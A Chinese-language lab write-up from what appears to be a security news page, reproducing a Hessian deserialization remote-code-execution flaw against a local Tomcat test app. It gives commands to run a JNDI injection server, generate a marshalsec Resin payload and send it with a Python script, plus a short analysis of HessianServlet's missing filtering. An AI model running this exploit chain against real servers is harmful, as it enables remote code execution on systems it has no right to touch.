网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

Resin payload复现Hessian反序列化RCE漏洞

文章来源:重庆网络安全 发布时间:2020-01-14 13:57:35 围观次数:
分享到:

摘要:Hessian是轻量级的RPC框架。 它基于HTTP协议传输,并使用Hessian二进制序列化,对于较大的数据包更友好。

一,搭建测试环境


  测试环境使用最新的jar包

blob.png

将HessianTest.war放在tomcat / webapp /下,然后启动tomcat

blob.png

访问服务器并返回到以下页面以指示环境正常

blob.png

二,启动JNDI利用工具

  编译后,JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

  执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 127.0.0.1

  -C是要执行的命令-A是侦听地址

blob.png

三,生成payload

编译后的marshalsec-0.0.3-SNAPSHOT-all.jar

执行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ ExecTemplateJDK7>hession

blob.png

 将在当前目录生成hession的payload

四,将有效载荷发送到粗麻布服务器

  使用hessian.py将序列化的有效负载发送到服务器

  执行订单:

  python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian

blob.png

您可以看到服务器已转到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar以下载恶意类并执行弹出计算器

blob.png

五,分析

  使用hession的Web项目需要配置web.xml并映射com.caucho.hessian.server.HessianServlet的对应路径

blob.png

Java客户端可以轻松地调用服务器上的方法,如下所示

blob.png

查看com.caucho.hessian.server.HessianServlet的代码

  服务方法处理来自客户端的http请求并调用

blob.png

blob.png

调用HessianSkeleton的invoke方法从客户端发送的数据流中读取对象

blob.png

看到代码中没有黑白名单过滤机制


  通过抓取请求数据包,分析和构建请求数据包,将由marshalsec工具生成的Resion有效负载发送到服务器


  这是构造请求数据包的hessian.py代码

blob.png

blob.png

请求包

blob.png

本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:Resin payload Hessian RCE漏洞

上一篇:IDOR越权漏洞:Airbnb平台被窃取房东资金
下一篇:CVE-2019-8641漏洞:iOS 12.4

热门资讯

鼠标向下滚动